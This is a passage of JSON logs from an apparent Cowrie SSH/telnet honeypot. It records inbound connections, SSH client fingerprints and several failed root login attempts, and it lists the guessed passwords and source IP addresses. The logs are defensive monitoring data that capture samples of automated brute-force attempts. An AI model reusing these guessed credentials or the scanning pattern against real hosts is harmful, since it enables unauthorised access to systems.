langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:31.856081Z","src_ip":"38.93.206.2","session":"0c04a708a07e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1980","message":"login attempt [root/qwerty1980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:32.020982Z","src_ip":"38.93.206.2","session":"0c04a708a07e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:33.089314Z","src_ip":"38.93.206.2","session":"0c04a708a07e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01397037506104,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:46.194796Z","src_ip":"179.102.17.221","session":"a4f49e5189bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":35696,"dst_ip":"10.17.0.5","dst_port":22,"session":"242b9e80316e","protocol":"ssh","message":"New connection: 103.77.242.62:35696 (10.17.0.5:22) [session: 242b9e80316e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:53.962371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:53.969351Z","src_ip":"103.77.242.62","session":"242b9e80316e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:54.235521Z","src_ip":"103.77.242.62","session":"242b9e80316e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:54.993080Z","src_ip":"103.77.242.62","session":"242b9e80316e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:32:56.248414Z","src_ip":"103.77.242.62","session":"242b9e80316e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.15652823448181,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:33:00.836691Z","src_ip":"135.148.14.151","session":"bf01d3da435f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.30792713165283,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:33:06.395783Z","src_ip":"135.148.14.151","session":"afe4ec25bf27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42910,"dst_ip":"159.203.135.109","dst_port":23,"session":"53c02e753da6","protocol":"telnet","message":"New connection: 135.148.14.151:42910 (159.203.135.109:23) [session: 53c02e753da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:33:12.235125Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43386,"dst_ip":"10.17.0.5","dst_port":22,"session":"c66b8302d3db","protocol":"ssh","message":"New connection: 103.153.68.219:43386 (10.17.0.5:22) [session: c66b8302d3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:33:28.487195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:33:28.493346Z","src_ip":"103.153.68.219","session":"c66b8302d3db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:33:28.745214Z","src_ip":"103.153.68.219","session":"c66b8302d3db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"armada","message":"login attempt [root/armada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:33:29.503179Z","src_ip":"103.153.68.219","session":"c66b8302d3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:33:30.757150Z","src_ip":"103.153.68.219","session":"c66b8302d3db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":46852,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3a54c853f7a","protocol":"telnet","message":"New connection: 179.102.17.221:46852 (159.203.135.109:23) [session: d3a54c853f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:33:35.406114Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56194,"dst_ip":"159.203.135.109","dst_port":23,"session":"eed1a200950d","protocol":"telnet","message":"New connection: 135.148.14.151:56194 (159.203.135.109:23) [session: eed1a200950d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:33:40.950631Z"}
{"eventid":"cowrie.session.closed","duration":34.14005517959595,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:33:46.375045Z","src_ip":"135.148.14.151","session":"53c02e753da6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43580,"dst_ip":"159.203.135.109","dst_port":23,"session":"da7b3a2c3b20","protocol":"telnet","message":"New connection: 135.148.14.151:43580 (159.203.135.109:23) [session: da7b3a2c3b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:34:16.108133Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42366,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc1518fb858c","protocol":"telnet","message":"New connection: 135.148.14.151:42366 (159.203.135.109:23) [session: fc1518fb858c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:34:16.412232Z"}
{"eventid":"cowrie.session.closed","duration":35.9307005405426,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:34:16.881211Z","src_ip":"135.148.14.151","session":"eed1a200950d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.944408655166626,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:34:50.356463Z","src_ip":"135.148.14.151","session":"fc1518fb858c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48394799232483,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:34:50.591954Z","src_ip":"135.148.14.151","session":"da7b3a2c3b20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.63.253.47","src_port":35172,"dst_ip":"159.203.135.109","dst_port":23,"session":"45ee11db729c","protocol":"telnet","message":"New connection: 167.63.253.47:35172 (159.203.135.109:23) [session: 45ee11db729c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:35:02.065789Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":52128,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7d2af26c497","protocol":"ssh","message":"New connection: 193.37.70.224:52128 (10.17.0.5:22) [session: a7d2af26c497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:35:09.592628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:35:09.599736Z","src_ip":"193.37.70.224","session":"a7d2af26c497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:35:09.768843Z","src_ip":"193.37.70.224","session":"a7d2af26c497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38924,"dst_ip":"159.203.135.109","dst_port":23,"session":"2631bbd6a8a3","protocol":"telnet","message":"New connection: 135.148.14.151:38924 (159.203.135.109:23) [session: 2631bbd6a8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:35:09.974257Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"gewinner","message":"login attempt [root/gewinner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:35:10.236311Z","src_ip":"193.37.70.224","session":"a7d2af26c497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:35:11.381311Z","src_ip":"193.37.70.224","session":"a7d2af26c497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00553393363953,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:35:35.411524Z","src_ip":"179.102.17.221","session":"d3a54c853f7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":54398,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c6a43537c96","protocol":"telnet","message":"New connection: 179.102.17.221:54398 (159.203.135.109:23) [session: 8c6a43537c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:35:35.733284Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":54465,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1319e32c57d","protocol":"telnet","message":"New connection: 179.102.17.221:54465 (159.203.135.109:23) [session: f1319e32c57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:35:37.549731Z"}
{"eventid":"cowrie.session.closed","duration":35.66235876083374,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:35:45.636497Z","src_ip":"135.148.14.151","session":"2631bbd6a8a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52640,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1ae18dcd07c","protocol":"telnet","message":"New connection: 135.148.14.151:52640 (159.203.135.109:23) [session: f1ae18dcd07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:35:48.108012Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":41200,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9916de6cdb8","protocol":"ssh","message":"New connection: 80.94.92.171:41200 (159.203.135.109:22) [session: d9916de6cdb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:36:05.043989Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:36:05.165965Z","src_ip":"80.94.92.171","session":"d9916de6cdb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.12726140022278,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:36:20.235173Z","src_ip":"135.148.14.151","session":"f1ae18dcd07c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46362,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef0de0d86d6f","protocol":"telnet","message":"New connection: 135.148.14.151:46362 (159.203.135.109:23) [session: ef0de0d86d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:36:38.285729Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49802,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3854d717bd0","protocol":"telnet","message":"New connection: 135.148.14.151:49802 (159.203.135.109:23) [session: d3854d717bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:36:38.824579Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49890,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d9775493d9","protocol":"telnet","message":"New connection: 135.148.14.151:49890 (159.203.135.109:23) [session: e2d9775493d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:36:40.010145Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52748,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ad4c33c316e","protocol":"telnet","message":"New connection: 135.148.14.151:52748 (159.203.135.109:23) [session: 2ad4c33c316e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:36:45.363014Z"}
{"eventid":"cowrie.session.closed","duration":120.01333165168762,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:02.078956Z","src_ip":"167.63.253.47","session":"45ee11db729c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49714,"dst_ip":"159.203.135.109","dst_port":23,"session":"f454959209bf","protocol":"telnet","message":"New connection: 135.148.14.151:49714 (159.203.135.109:23) [session: f454959209bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:10.262972Z"}
{"eventid":"cowrie.session.closed","duration":0.00745701789855957,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:10.270278Z","src_ip":"135.148.14.151","session":"f454959209bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.536969900131226,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:13.822567Z","src_ip":"135.148.14.151","session":"ef0de0d86d6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.03468322753906,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:15.044696Z","src_ip":"135.148.14.151","session":"e2d9775493d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.40311050415039,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:15.227572Z","src_ip":"135.148.14.151","session":"d3854d717bd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.559282302856445,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:21.922153Z","src_ip":"135.148.14.151","session":"2ad4c33c316e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45558,"dst_ip":"159.203.135.109","dst_port":23,"session":"a06d11348b1f","protocol":"telnet","message":"New connection: 135.148.14.151:45558 (159.203.135.109:23) [session: a06d11348b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:31.802255Z"}
{"eventid":"cowrie.session.closed","duration":120.00532841682434,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:35.738460Z","src_ip":"179.102.17.221","session":"8c6a43537c96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":56684,"dst_ip":"159.203.135.109","dst_port":23,"session":"20034308a791","protocol":"telnet","message":"New connection: 179.102.17.221:56684 (159.203.135.109:23) [session: 20034308a791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:36.093192Z"}
{"eventid":"cowrie.session.closed","duration":120.00253105163574,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:37.552053Z","src_ip":"179.102.17.221","session":"f1319e32c57d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.102.17.221","src_port":56695,"dst_ip":"159.203.135.109","dst_port":23,"session":"33f89059d902","protocol":"telnet","message":"New connection: 179.102.17.221:56695 (159.203.135.109:23) [session: 33f89059d902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:37.928355Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51874,"dst_ip":"159.203.135.109","dst_port":23,"session":"87f730569747","protocol":"telnet","message":"New connection: 135.148.14.151:51874 (159.203.135.109:23) [session: 87f730569747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:51.547464Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56994,"dst_ip":"159.203.135.109","dst_port":23,"session":"74a9bfbcffd7","protocol":"telnet","message":"New connection: 135.148.14.151:56994 (159.203.135.109:23) [session: 74a9bfbcffd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:37:56.757736Z"}
{"eventid":"cowrie.session.closed","duration":35.57817888259888,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:07.380346Z","src_ip":"135.148.14.151","session":"a06d11348b1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":59726,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1665d84a94f","protocol":"ssh","message":"New connection: 62.133.62.83:59726 (159.203.135.109:22) [session: e1665d84a94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:18.428370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:18.433233Z","src_ip":"62.133.62.83","session":"e1665d84a94f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:18.514181Z","src_ip":"62.133.62.83","session":"e1665d84a94f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barmaley","message":"login attempt [root/barmaley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:38:18.903956Z","src_ip":"62.133.62.83","session":"e1665d84a94f","protocol":"ssh"}
